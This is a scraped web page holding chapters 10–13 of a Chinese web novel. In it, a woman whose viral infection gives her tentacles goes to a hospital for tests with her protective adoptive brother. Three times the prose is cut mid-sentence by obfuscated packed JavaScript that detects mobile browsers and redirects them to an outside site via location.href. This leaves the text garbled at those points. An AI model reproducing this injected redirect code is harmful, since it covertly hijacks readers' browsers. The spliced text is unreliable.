有时候哪怕说得很直白了,她依旧没法理解。 这不能怪她,因为她天生就是这样,她的情绪感知没法让袁清悦像他这样对很多事都高度敏感。 哪怕她一辈子都理解不了他的感情,唐周恒依旧会直接告诉她自己内心的真正想法。 “小悦啊,你什么时候才能意识到,你在我这永远是第一顺位。” 袁清悦又眨眨眼,试图消化唐周恒这句话的情感。 不过她暂时消化不出来。 只是她感觉唐周恒好像有点伤心,她挪了挪身子,一把抱住他的一只胳膊。 鼻子又悄悄嗅了嗅唐周恒身上独特的香味。 “好啦好啦,我知道了,你在我心里也是最重要的呀。” 10.喜欢10 袁清悦抱着唐周恒的胳膊,结实的胳膊恰恰好能被搂在怀里。 她从很小的时候就发现,唐周恒不太开心的时候,她抱抱他他就会开心很多。 虽然袁清悦不太理解他们这些正常人的情绪逻辑,但抱一抱唐周恒也不会让她缺一块肉,她倒也乐意这样做。 她抬头凑近唐周恒的肩膀处,就连手臂也能闻到他身上的香味,袁清悦又吸着鼻子嗅了嗅。 随即她又猛地吸了一口,从喉咙间发出了一声喟叹声。 唐周恒便只是静静地将她所有动作收入眼底。 据他了解,这次感染事件中有的患者出现了感知失常的情况,对嗅觉、听觉或者味觉变得迟钝。但也有个别感染者出现了感知过敏的情况,也就是某些感知变得异常敏锐。 袁清悦这种情况也许是感知过敏的一种表现。 她很小的时候就喜欢窝在他怀里睡觉,袁清悦甚至和他说过,她一直都觉得这样很暖和而且闻起来香香的,很催眠。 “嗯,我知道。” 唐周恒的唇就贴在她的头顶,回应着她的上一句话。 他当然知道,他对于袁清悦来说还是很重要的,可是在她心里重要的人不止他一个人。 但唐周恒有时会黑暗地想着,袁清悦心里重要的人能不能只有他一个人。 唐周恒头皱起眉,将目光落在他身后,他刚刚还没来得及观察她身上的异变,触手就消失在他的眼前。 他有些担心,这个东西会不会影响到袁清悦的身体健康。 袁清悦撒开手,眯着眼看向唐周恒。但她有些近视,她实在看不太清唐周恒的神色。 只见唐周恒一动不动,袁清悦问:“哥,你干嘛,僵住了?” 唐周恒沉沉地吸了一口气,又或许是因为他们两人靠得太近了,所以他呼吸的声音都能听得很清楚。 “小悦,先我看看你身上长出来的东西。”他轻轻地握住袁清悦的手腕,将目光落在她的身后——触手冒出的部位。 袁清悦却下意识地挣脱开,在床上往后挪了挪屁股。后退了一小段距离,连带着唐周恒深色的床单都被她弄皱巴了些。 “等一会!” 唐周恒温声温气地说:“小悦,我不怕的,让我看看什么情况,好吗?” 唐周恒确实不怕,他的工作恰好能让他接触到很多深海动物。 那些藏匿于深海之中的生物,深到就连人类也是近百年才有能力到达的地方,怪异至极。 在这远离阳光触及,幽暗深邃光怪陆离的深海里,他见过更诡异更骇人的生物。 外表恐怖的东西,并不太能引起唐周恒心里的波动。 更重要的是,她是袁清悦,无论她是什么样的,他都不会害怕。 唐周恒继续试探着朝她靠近。 “哥,不是。” 袁清悦伸手抵住他,掌心正好顶在他的胸部,“我是怕这个病毒会传染,你现在还是不要和我离那么近了。” 袁清悦虽然刚刚已经抱着唐周恒猛吸了一顿,但那会她刚醒,意识还不太清醒,等她现在已经彻底从一夜的睡梦中抽离出来了,她才后知后觉地想起,这病或许还有传染的可能性。 “不会的,在人体和人体之间不会传染。” 唐周恒像是在证明自己没有说谎,继续道,“小悦你还记得孟明轩吗,他是专项组的医学顾问,我有问过他一些和这次病毒相关的事宜。” “你中学时的朋友?”袁清悦对这名字有些印象,脑海里也有个淡淡的模糊轮廓。 “嗯。”他坐回床上,朝着袁清悦的方向伸手,凑近了些。 “别怕,我先看看情况,等会我们吃饱早餐了就去中心医院,做个验血检查。” 就算唐周恒今天还没回家,她也打算去和专项组的工作人员联系检测病毒感染的情况。 得知这个未知作用的病毒不会在人与人之间传染,袁清悦才放下心来,朝唐周恒靠近了些。 她扭头看向身后,触手与自己身体部位连接的地方大概在尾椎骨上方的部位,她忽地感觉有些冷,触手便从身后绕了过来。 触手貌似已经适应她人体的皮肤状况,并不像它第一次出现时那样,带着很粘稠以及潮湿的黏液,但也比她人体的肌肤要湿滑一些。 唐周恒眯起眼,看着那一簇簇粉嫩颜色的软肉在空中轻微地扭动。 几只触手在他身前左右摆动,见他没有动作,触手也僵在半空中,直到唐周恒将手伸到触手前。 袁清悦侧着头,将触手搭在他的手臂上,随即下意识地绕紧了他的手臂。 她发现自己拥有控制触手的能力,但她还有些生疏,不太会很熟练地指哪打哪。 不过她也能理解,新长出来的手,当然没有本体的左右手好使。 袁清悦正在心里打着算盘,心想着要不要去和生命体研究基地的莹波星球派来的使者,也就是长得和大水母有些相似的外星人,一起交流交流触手的使用方法。 她却完全忽略了自己触手绕在唐周恒手臂上的力道。 直到唐周恒倒吸了一口气时,袁清悦才意识到自己是不是抓得有些用力。 触手瞬间灰溜溜地松了力气,从他的手臂上剥离,缩回她的身后。 “啊,哥不好意思,我是不是弄疼你了。”袁清悦看着他手臂上的红痕,下意识伸手摩挲了几下。 “没事,”唐周恒摁住她的手,温和地摇摇头。 从小到大,唐周恒只担心袁清悦吃不饱饭,并不害怕她打不过别人,因为她的力气大得出奇。 大到甚至能把他这个比她高了接近二十厘米的壮硕男子抱起来维持至少二十秒的时间。 袁清悦不仅是力气大,有时候还不知道自己用了力。 在她还是个小豆丁大小的时候,就能因为牵唐周恒手牵得太用力而不自知,在他的手背上留下了好几块淤青。 她光靠一身力气也能把欺负她的人暴揍一顿。 但唐周恒没想到她的触手也和她的手劲一样大,攀附在他手臂上蜷起的地方直接留下了明晃晃的红痕,甚至还有几个很模糊的圆形状的红印子。 大概是吸盘空腔收缩时挤压留下的痕迹。 唐周恒绕到她身后,将软塌塌的触手放在自己的手心上。 袁清悦有些好奇地回头,看看唐周恒在做什么,顺便看一看触手到底是怎么和她的身体结合的。 今天凌晨第一次见到触手的时候,袁清悦实在是太困了,困得洗完澡和唐周恒说完话就睡了过去。 哪怕她对自己的触手也挺好奇的,她都还没来得及去仔细观察…… “小悦,我摸它的时候,你会有感觉吗。” “有啊,感觉你在摸我。” 她扭着脖子,试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14430022|153141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图看一看触手与身体连接的部位。 可是脖子已经用了不小的劲儿了,她也只能看见一点点。 要是自己是只猫头鹰就好了,脖子能扭270°…… 然而袁清悦脖子都快扭断了都还是没有看清,她又试图往后看了看,结果感觉咔嚓一声,脖子闪过一阵疼痛感。 “嗷,我的脖子。”袁清悦轻微地闪到了脖颈,她捂着脖子,认命地将脑袋扭回正常的位置。 唐周恒有些哭笑不得,将掌心贴在她的脖颈处,“扭到脖子了吗?” “嗯,不过只是闪了一下,应该很快就不同了。” 袁清悦试图用大脑的意识控制着触手扭动了几下,她满是新奇地看着接受她指令的触手,注意力没有半点放在唐周恒的身上了。 唐周恒站直身,“小悦,以后要是有什么事,直接和我说,你不说我反而更担心的。” “嗯。”袁清悦点点头。 不过平时她家和研究所两点一线,哪能有什么事。 “你是什么时候才发现你被感染了?” “今天……其实我也没比你早多久发现。”袁清悦实话实说。 唐周恒有些惊讶,“今天才发现的吗?” “对呀,所以我想过两天才和你说嘛,本来想着今天去联系专项组的工作人员做个检查的。”袁清悦放下触手,触手从她身后隐匿起来。 现在的她看起来和平常人又没什么区别了。 随即袁清悦如实将自己夜里才发现触手的事一五一十地说给唐周恒听,包括她发现触手,以及最近很喜欢有香味的东西这些事都和唐周恒说了一遍。 唐周恒抿了抿唇,怪不得袁清悦的床半夜弄湿了,原来是触手弄湿的。 他站在床沿边,弯下腰拢了拢袁清悦睡衣前宽松的领口,系上她睡衣最上方的纽扣。 “夜里衣服和被子都被弄湿了吧,别又弄得感冒了,这下是真的冷感冒了。” “还有,小悦,你刚刚为什么突然把手伸到我衣服底下?” 袁清悦看向唐周恒的上半身,眨了眨眼睛,神情没有一丝羞赧,而是非常一本正经地说:“就是想摸摸你肌肉啊。” 唐周恒经常盯着她一起锻炼健身,每次休息的时候,袁清悦总会好奇地用指尖戳戳他手臂或者肩膀上的肌肉。 而且健身界的人,基本都对自己的身材非常自恋,甚至有一些不成文的道理,比如不会介意别人摸他们的肌肉。 摸摸唐周恒的肌肉在她眼里本来就是一件很正常的事。 “而且我好像很久没摸过了。” 她补充道。 唐周恒屈着身子,宽松的睡衣随着重力自然下垂。 宽大的领口足以让他的身体一览无余。 袁清悦正好要抬起头才能和他说话,而只要一抬头就能看见他衣服底下的光景。 而唐周恒身上的香味,像烟雾似的若即若离地漂浮在她的身前。她又吸了吸鼻子,感觉很舒服。 唐周恒听到她的话,抑制不住地笑了。 虽然袁清悦摸他肌肉的目的很纯粹,她只是单纯觉得练成这个程度的肌肉是最好看的,所以想摸一摸,完全出于一种赞美的状态。 但也能揣测出来,袁清悦是喜欢这类身材的。 唐周恒捕捉到她落在自己肉.体上的目光,“原来是这样,那小悦还想摸吗?” 11.喜11 袁清悦的目光确实在唐周恒的身上停滞了两秒,但她没有像唐周恒预想的那样伸手摸摸他,而是直接从床上下来。 她穿好拖鞋,理了理被触手从衣摆底下伸出时弄皱的睡衣,摇头,语气平淡但又夹杂了一丝疑惑:“不用了哥,我刚刚不是摸了吗,为什么还要摸?” 唐周恒哽了哽,有些不自在地咳了两声,身体有些僵硬地站直,双手理了理自己的领口。 以往只要他故意在袁清悦面前展示一下自己的身材,她都会乐意去看一看或者摸一摸,甚至边摸边夸赞着:“哇,哥你这肌肉练得真好。” 以至于他完全没想到,现在自己的邀请被拒绝了…… 完全不知道唐周恒在头脑风暴的袁清悦低头扯直了自己身上的睡衣,回头看着还站在床边的唐周恒。 见他的神情有些不对劲,她眯起有些近视的双眼,“哥,怎么了?” 现在从她的视角看过去,只能看见唐周恒睡衣领口上的锁骨。 他早上回来时刚洗完澡,锁骨上似乎还留着自己指甲挠过的痕迹。 他下意识顺着袁清悦的目光,摸了摸自己的锁骨,轻轻地摇头,“没事,你去洗漱吧。” “哦。”袁清悦正朝着对门的小浴室走去,又突然回头,“哥,我好饿超级饿无敌饿,今天早餐吃什么?” 袁清悦顺手摸了摸自己的腹部,感觉自己快饿到吐了,连自己的语调里也不知为何夹杂了几分怨念。 她感觉自己再饿一会儿,她就要变成女鬼了,饿死鬼的那种。 她发觉自己最近好像很容易饿。 可最近明明在放假休息,一点活也没干过,她怎么想也想不明白自己为什么会那么容易饿,难不成还因为自己身上多了几条触手,耗的能量也多了,胃口也变大了? “我点了早点。”唐周恒看了眼时间,“应该很快就送到了。” 话音刚落,不远处的大门外传来了门铃声,袁清悦本还有些迷迷蒙蒙的双眼亮了亮,“是早餐吗?” “应该是,我去拿就好,你去刷牙吧,刷完牙就能吃饭了。”唐周恒摁住她,自己先一步地往门口的方向走去。 “好。” 袁清悦深吸了一口气,隐约感觉到来自早餐的香味。 随后她趿拉着拖鞋飞快去到浴室洗漱一把。 等袁清悦一边拿着擦脸巾擦干脸上的水珠一边从浴室走到客厅的时候,唐周恒已经将所有早餐都放到餐桌上盛好了。 “饺子,我刚好想吃饺子了诶。”袁清悦先喝了半杯他提前倒好的温开水。 50℃,是她最喜欢的温度。 “我先吃了。”她抬起眼睫,看了一眼还在收拾桌面的唐周恒。 “嗯,别吃太急,小心……” 烫字还没来得及说出口,袁清悦就被入口的一只大饺子给烫到了,舌头和咬破的饺子皮在口腔里打架。 大概是很久没这样吃饭的时候突然被烫到了,袁清悦僵了一瞬,甚至忘记直接把口里的饺子吐出来。 唐周恒放下手里的东西,将右手递到她的唇边,挨着下巴的位置。 “小悦,快吐出来,别咽了,对食道不好。” 袁清悦低头看了一眼他近乎能覆盖住自己大半张脸的手掌,连他的掌心都有属于他身上的气味。 她顾不得那么多,把口里的饺子吐到了他手里。 “哥,你快去洗手。” 袁清悦有些嫌弃自己吐出来的东西…… “嗯,你吃慢些,没人和你抢,别急。” 唐周恒倒一点也不嫌弃她的口水,不疾不徐地走进厨房,清理干净自己的手心。 被烫到之后,袁清悦倒真的慢些吃了,她很久没有吃饭吃那么慢了。 唐周恒出差这半个月,没人管她,她吃饭就控制不住自己的速度,总是吃得有些快。 吃过早餐后,袁清悦换了一身休闲的常服,和唐周恒一起前往中心医院。 这次病毒感染事件已经向外界公布,因为在人和人之间没有传染性,感染者也没有任何生命危险,大多数民众对此并不是很在意。 比起三十年前那场传染性极强的人体异变病毒爆发,这次的病毒似乎只是一个小儿科而已。 目前为止,新增的患者无一不是近期和海洋生物研究所有关联的人员。 所以这次事件并没有引起大众的关注。然而这事在科研界倒闹得有些沸沸汤汤,因为至今都还没搞清楚病毒的作用机制,就连患者身上都检测不到对应的抗体。 但检测是否被感染倒是很简单,通过血清学检测即可。 而被感染患者还需要去专项组在中心医院特立的诊室做一个简单的检查。 袁清悦和唐周恒像去看一个小感冒似的,挂号抽血,唯独不一样的是她的真空采血管会被送到专项组的实验室。 工作日早晨的中心医院,依旧挤满了人。 平时的袁清悦其实闻不到医院里的消毒水味道,但现在她现在的嗅觉,能闻到了很浓郁的气味。 她感觉到了不只是单纯消毒水,还有一种有些压抑的气息,像苦苦的海水,将她淹没。 袁清悦忍不住朝唐周恒的方向靠近了些,直到他身上的香味扑鼻而来,她才感觉舒服了不少。 她索性扭头贴近他的肩膀,直接把脸埋到他臂膀上。 “小悦,怎么了,是不舒服吗?” 袁清悦摇摇头,又点点头,“有点吧,不过只是这里的气味让我有点不舒服。” 好在很快轮到她抽血了,等她抽完血就可以离开医院了。 唐周恒望了望周围,他现在也不是很舒服,但他不舒服的原因和袁清悦的不太一样。 他并不厌恶医院的气味,但这周围所有人的磁场都让他有些难受,极强的共情能力让他无法克制地感觉到了压抑。 “那要我和你一起进去抽血吗?” “不用,哥你在外面等我就好。” “那我帮你拿包。” “好。”袁清悦把自己的包塞到了唐周恒怀里,朝抽血室的方向走去。 她还没进到抽血室时,孟明轩就突然出现在唐周恒的身后,还没等他想故意吓一吓唐周恒,唐周恒倒先回了头。 “早啊,那么快就来了。”唐周恒十分自然地挎起袁清悦的包包。 今天一早,唐周恒就联系孟明轩说袁清悦被感染的事,让他帮忙看看情况,正巧他忙完手头上的事,便来找唐周恒了。 “嗯,刚好忙完。”孟明轩看了一眼袁清悦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14440875|153141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背影,用胳膊捅了捅唐周恒。 “你小妹,都长那么高了?” 唐周恒回忆了一下她的身高,她的脑袋其实也只能到他耳根的高度。不过只是他太高了,并不是袁清悦矮。 她的身高比pax市成年女性平均身高还要高五厘米呢。 “她都二十二了,又不是十二岁。”唐周恒顿了顿,“你这话说的,像是比她大十几岁的叔了。” 本还一副平静模样的孟明轩突然抱起脑袋,“不要再说了不要再说了,不要再提醒我我快奔三了的这件事。” 唐周恒习惯他这时不时发疯的状态,连带着他这种平日里每个表情都能管理得很好的人,都忍不住抽了抽嘴角。 心想,大概是因为学医的救不了自己吧。 不过一瞬,孟明轩又恢复了正常模样。 但他开始八卦起来,“话说,你怎么还单身啊,别到时候你妹都结婚了,你还是孤苦老人。” “不会。” “啥?”孟明轩不解。 “小悦不会比我早结婚的。” “咋地,你妹是不婚主义吗?” 唐周恒望着走廊前的白墙,风吹日晒的墙壁留下了不可抹去的来自岁月印证的痕迹。 就像他和小悦的记忆一样,永远不会被抹掉。 “其实我也不清楚她现在怎么想的。不过她还年轻呢,说什么结婚不结婚的。” 唐周恒扭头,“还有,现在都什么年代了,她不想结,我也可以一辈子都陪着她。” “也是,你那妹妹从小就一心只读圣贤书,不是学习就是工作,就像个程序设定好的机器人,估计也看不上谁吧。” 唐周恒点点头,“嗯,当然,没有谁能配得上她。” 或许包括他自己。 “咦,死妹控。” 唐周恒侧头,脸上的笑意如沐春风,但说出来的话阴阳怪气,“太可怜了,你这种没有妹妹的人不会懂的。” 他倒还记得小时候孟明轩觉得小悦可爱,也喜欢一口一个妹妹的叫。 “那你呢?”孟明轩没有和他犟嘴,又问道。 “我?我怎么了?” “你啊,也不婚主义啊?” 唐周恒摇摇头,“是不是都不重要。” 孟明轩怔了怔,噤了声,似乎明白些什么。其实他早些时候就明白了。 唐周恒抿起嘴,姐姐是事业当头的女明星,自然不可能会因为恋爱耽误事业;小悦感情障碍,别说谈恋爱了,她连爱上别人都难。至于他…… 寂静了半晌,孟明轩努力努嘴,“哟,妹妹出来了。” 唐周恒头也不回,但语气针对孟明轩道:“不许叫她妹妹。” 孟明轩有些手痒,又想发疯,但这里是医院,他理了理衬衫,装作一副和自己外貌极其匹配的模样——身上一股高知该有的文质彬彬与文化气息。 但他还是忍不住骂一句,“咦,死妹控。” 袁清悦摁着手臂上抽血的伤口,见唐周恒坐在等候区,她小跑了过来坐在他旁边,“哥,我渴了,想喝水。” 她顿了顿,有些疑惑地嘀咕问道:“哥,你们在说什么,什么妹控?” 唐周恒从她包里拿出保温杯拧开盖子的动作顿了顿。 12.喜欢12 “嗯?”袁清悦抬起手戳了戳他,“是没空做什么吗?” 唐周恒忍不住笑了笑,心想她是怎么将“妹控”听成“没空”的。 他将打开盖子的水杯递给她,“没什么,和孟医生随便聊聊而已,不是说渴了吗,先喝点水。” “哦。”袁清悦左手抽的血,便有些别扭地将右手伸出来接过水杯。 要是现在是在家,而不是在公众场合,袁清悦有些想将自己的触手伸出来拿水杯。 唐周恒递过去的动作停滞了一瞬,“小悦你摁着棉签吧,我喂你。” 他小心翼翼地托着她的下巴,一手扶在她的头后,怕袁清悦被呛到,水杯倾斜的角度很小。 袁清悦就着他的动作,小口小口地啖下,哪怕只是小口喝,她也喝了不少。 唐周恒发觉,她最近喝水的频率比往日要多,虽然依旧是一个成年女性一日摄入水分的正常值,但也有些不太寻常。 唐周恒默默记下,打算之后问问孟明轩这是否也可能和病毒感染有关。 “还要吗?”他停下将水杯抬起的动作,轻声问。 袁清悦抿了抿湿润的嘴唇,摇头。 “等手上止血了,我们跟孟医生去一趟一号楼,做一些很简单的检查,应该只是记录了一下你目前异变的一些情况。” 这是孟明轩突然临时告知唐周恒的,他顺带向袁清悦告知一声。 中心医院一号楼并不是门诊楼,而是一栋专门处理特殊疾病以及部分医者做研究的工作区。 “哦哦。”袁清悦点点头,她往唐周恒的方向靠近,嗅了嗅他身上好闻的味道。 “还是觉得医院味道很难闻吗?” “嗯嗯。” 唐周恒没再说什么,只是歪着身子,将自己的身体挨在她身侧,臂膀与她的胳膊相贴。 孟明轩在袁清悦从抽血室刚出来的时候,就先一步离开去走程序领袁清悦的采血管。 直到袁清悦又安静坐了两分钟,他才回到唐周恒这儿。 “阿恒,可以和妹妹去我们五楼的实验室了。” “孟医生,你好。”袁清悦露出了最标准的微笑和孟明轩打了个招呼,双眼顺着笑容微微眯起。 孟明轩只是含笑颔首,只见袁清悦扭头看回唐周恒时脸上的表情瞬间冷了下来。 灰色的瞳仁配上这副没有表情的五官,看起来有些生人勿进。她就像还没设定好表情的机器人。 看起来比数据代码还要冰冷。 如果不是因为孟明轩和唐周恒很熟,知道他妹妹的性子就是这样。 那他应该会以为袁清悦和唐周恒在吵架闹别扭,而不是感情很好的兄妹。 目前病毒的毒株已确认,血液化验主要是检测血液中病毒的DNA水平,最快也要一个小时的时间。 而检查确实如唐周恒所说,就是很简单的外部检查。 给袁清悦检查的并不是孟明轩,而是另外一个女医生。 医生检查了她长出触手的部位以及,也询问了她最近一个月有可能和病毒感染患病有关的事。 袁清悦本来还想着将触手冒出来,给医生检查检查。 但不知为什么,触手一直没有出来。 这种情况在别的感染者身上也出现过,异变的组织或者部位可以隐藏或者消失,并不是患者想让它出现就出现的。 医生见怪不怪,便又询问了一些和她触手有关的问题。 不过一刻钟,袁清悦就从检查室走了出来。 唐周恒手里还提着袁清悦的包包,他站在她身后,替她理了理衣领。 女医生姓杨,杨医生和孟明轩交流了半晌,见他们聊完了,唐周恒才问:“明轩,怎么样?” “清悦感染的事大概是八九不离十了,目前她出现的情况:触手、感知过敏也就是香味敏感甚至对某些香味很痴迷,以及感染初期重感冒。这些看起来毫无关联的问题,反倒是很符合这次病毒感染的病症。” 孟明轩叹了一声气,“这个病毒神奇就神奇在这,每个患者发病的病症都不一样,而且伴发病症个个看起来毫无关联……” “那会影响机体正常运作吗?会影响身体别的地方吗?” “目前的发现和研究是不会。”孟明轩笑着,“这也算是个好消息吧。而且清悦现在这个情况看着,应该不怎么会影响她平时的生活。” “好,要是后续有什么消息,你联系我或者直接和小悦联系也行。” 袁清悦作为患者,有向医院留下自己的联系方式。 “好嘞。”孟明轩比了个OK的手势。 唐周恒侧头,微微低下头,手指勾了勾她的尾指——这是他的习惯,每次有什么想问袁清悦的,他便习惯这样勾勾她的手指。 “小悦,你还有什么想问医生的吗?” 袁清悦想了想,摇头,她想问的唐周恒刚刚都帮她问了。 “没什么了。但是,哥,我有点饿了。” “那我们去吃午饭,附近有很多餐厅,你看看想吃什么。” “好!”她弯着眼睛,虽然没有笑,但看起来有那么一丝微不可查的愉悦。 唐周恒和孟明轩说了一声,便和袁清悦先行离开了医院。 去附近的餐厅吃了顿午饭,又逛了会儿街才回家。 无人驾驶系统驱使磁浮轮车往小区的方向驶去。 “小悦,怎么皱着眉?”唐周恒望着她,指腹贴在她皱起的眉心上。 “哥,我感觉有点奇怪。” “怎么了?” “我刚刚在检查室,想把触手弄出来,但它一直没有出现。可是我之前试过了,我大脑想着触手出来,它就会出现。我想了很久,还是不知道今天触手为什么没有出来?” “可能你的触手怕医生。”唐周恒神情认真且一本正经。 “有可能诶。”袁清悦撑着脑袋,皱起的眉头被他抚平。 “先别想那么多啦,小悦,你最近好好休息就好。”唐周恒闭了闭有些酸涩的双眼,他今天凌晨赶回的pax市,今天一整天都没怎么睡觉。 因为袁清悦的事他一直紧绷着精神,直到现在他才彻底松了下来。 而过度的精神紧绷后瞬间放松会让人感觉到更加疲惫,他想他也需要好好休息一段时间了。 因为海洋生物研究所被封锁了,所以他最近也没法回到生科所的实验室工作。 所以至少在这一周里,他和袁清悦都光明正大地获得了一个带薪假期。 只要等待袁清悦的血液检测结果出来,确认她感染了病毒,她甚至上报工伤,不用耗费自己的年假就可以继续休息一段时间。 袁清悦也看出来唐周恒有些累,还忙上忙下陪她去做检查,晚饭索性叫阿姨上门做了。 晚上洗澡时,袁清悦还特地又试着将触手伸出 。 浅粉色的软肉碰到水之后似乎变得更兴奋了,在被水雾弥漫的浴室里挥舞。 有的绕在她的身上,像是在抚摸感知身体的主人是谁。 袁清悦拿着毛茸茸的浴巾,将自己和触手都擦干,换衣服的时候触手又乖乖地隐匿起来。 袁清悦抹掉镜子上的水雾,条件反射地看了几眼镜子里刚洗完澡的自己。 心情颇好地抽了两张纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14449501|153141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦拭着额角散落下来不慎被弄湿的发丝。 推开浴室门,裹着一身温热潮湿朝客厅走去。 家里有两个浴室,她住的主卧对门是一间小的浴室,平时只有她用。唐周恒今晚比她先洗澡,在家里另外一个浴室洗的澡。 袁清悦将纸巾揉成团,扔到垃圾桶里,才发现唐周恒在客厅的沙发上睡着了。 她垫着脚尖,小心翼翼地走到沙发边,脱了鞋。 将刚烘干的双脚踩到沙发前的地毯上,袁清悦蹲下去,与唐周恒的脸平视。 唐周恒的睡相向来很板正,哪怕是熟睡了也依旧像块木板似地躺着,双手交叠,自然地搭在腹部。 和煦又带了些金黄色的灯光照耀下,他的睫毛像是镀了一层金辉,像有光效应的蛾翅。 袁清悦抬手,有些好奇地拨了拨他的睫毛,又拨了拨自己的睫毛。 唔……摸起来的感觉是一样的。 阳台的夜风吹进,吹得她裸露在短袖外的手臂有些发凉。 袁清悦捡起放在沙发角落叠好的毛毯,盖在唐周恒身上。 她低头看了眼时间,也不算早了,要不把唐周恒扛回他的卧室? 袁清悦从沙发边站起身,活动活动筋骨,又弯下腰,将手从唐周恒的脖颈和腰部穿过,试图将唐周恒扛回他的房间。 袁清悦知道以她的力气,这是可行的。 只是还没等袁清悦用力,唐周恒的身躯动了动,紧接着双眼睁开,天花板的灯光扎入眼帘,双眼瞬间感觉到酸涩、刺眼与疼痛。 他伸手握住袁清悦的手腕,“小悦……” “嗯?哥,我弄醒你了吗?”袁清悦话还没说完,却突然被他抱到自己怀里。 “小悦,别离开我。” “啥?”袁清悦被唐周恒的动作弄得有些懵,自己的双手顿在半空。 感觉到他呼吸的急促以及抱住自己的用力,她重新坐在沙发前,后知后觉地将手放在他的背上。 “哥哥,是做噩梦了吗?” “嗯……”唐周恒的情绪很快平静了下来。 他又在做那些重复的、永远停留在战争那年的梦了。 “没事的,是梦而已,都是假的。” 袁清悦实在不是个会安慰人的人,她不像唐周恒,会在她小时候做噩梦的时候会抱着她说好听话哄她,又或者给她讲笑话。 他们现在拥抱的动作有些别扭,袁清悦坐在沙发前的地毯上,而唐周恒还坐在沙发上。 唐周恒松开了她,和袁清悦一样坐在地毯上。 又重新抱住她。 “小悦,我有些难受。” 今天一天都太忙了,白天和袁清悦去医院,回家后还要收拾自己的行李和搞卫生。 又因为一直紧绷着自己的状态,唐周恒甚至还没来得及让袁清悦满足他对于肌肤触摸的渴望。 早上袁清悦抱着他像吸猫那样吸的触摸对于他来说还不够。 还差很多…… 夜晚安静、私密与封闭的环境让人类容易产生负面的情绪,机体褪黑素的分泌以及生理节律的变化,让人类更容易敏感与情绪化,更容易感到低沉。 所以唐周恒在晚上时的肌肤饥渴,会比白天严重很多。 “小悦,可以抱抱我吗,抱得再紧些。”他弯着腰,努力靠在她的怀里。 语气听起来有几分祈求。 实则是明目张胆地寻求袁清悦的亲近与偏爱。 “可以呀。”袁清悦倒是大方,一副慷慨模样,努力用手圈住他的腰。 而她的触手也悄然从身后探出,缠绕在唐周恒的手臂、身躯上。 13.喜欢喜13 季夏夜晚的风有些凉,窗外钻进与白日完全不同的风,清凉、和煦不带一丁点的燥热。 如同袁清悦现在的心情一般,她喜欢夏天有风的夜晚。 她有些努力地伸出手环住唐周恒的腰身,他的体型比她大些,但好在他腰还是很细的,她能很紧地环住他的腰际。 唐周恒的身上总是很温热,尤其是他的手心,哪怕是在冬天都是热乎乎的,掌心也带着最健康的血色。 她刚洗完澡,身上也裹着沐浴后的温热,但因为用凉水洗了手,手心有些冰冷冷的。 袁清悦的手臂隔着他的睡衣贴紧,因为抱得很紧,她甚至感觉到他呼吸的频率。 她的腰上一凉,身后衣摆被掀起一小片,触手无知无觉地从她的身上探出,像蛇似的攀到了唐周恒的身上。 唐周恒此时的感知极其敏锐,触手还没贴到他身上的时候他已经感觉到它们的存在。 “小悦。”他低声地呢喃着,就像小时候,在他们还没有名字的时候,他低声地呢喃着:“妹妹。” “我在呢。”袁清悦总觉得现在他们两个人的动作还是有些别扭。 她松开自己的双臂,在唐周恒闪着不解和错愕的表情里调整了自己姿势,正当唐周恒以为她不想抱住他了,袁清悦直接跨坐到他的腿上。 这才是最适合拥抱的姿势。这是袁清悦体验过很多次得出的结果。 有时候唐周恒明明很想她去抱抱他,但又似乎不敢太放肆。袁清悦有些不懂,不就只是抱一抱嘛,肯定是怎么舒服怎么来呀。 唐周恒身子僵了僵,条件反射地先用手扶住她的腰。 袁清悦坐好后,又重新展开双臂环住唐周恒。 “这样抱可以吗?” “可以。”唐周恒语气有些不太自然,但他本能地能将头靠在袁清悦的身上。 他咽了咽唾沫,又开口道:“很喜欢小悦这样抱着我。” 袁清悦的右脸脸颊边有颗痣,他的额头似乎就贴在她的颊边痣上。 “那就这样抱着好了。” 袁清悦语调淡淡的,她是那种嗓音和外貌很匹配的人,都有些清冷但又很迷人。 袁清悦也有些累了,她直接将身体的力气都压在唐周恒的身上,挥在半空中的触手又悄悄地绕了上去,缠绕在他的双臂、腰身甚至他的脖颈上。 袁清悦还不太会控制触手的力度,想着唐周恒刚刚说着想要被用力地抱着,触手便也用力地缠在唐周恒的身上。 更准确来说,触手将袁清悦和唐周恒都缠着,将两个人都包裹起来。 触手的体温比袁清悦的略低一些。 因为刚刚洗澡的时候她也给触手抹了泡泡,触手上面洋溢着与袁清悦身上相似的香味。 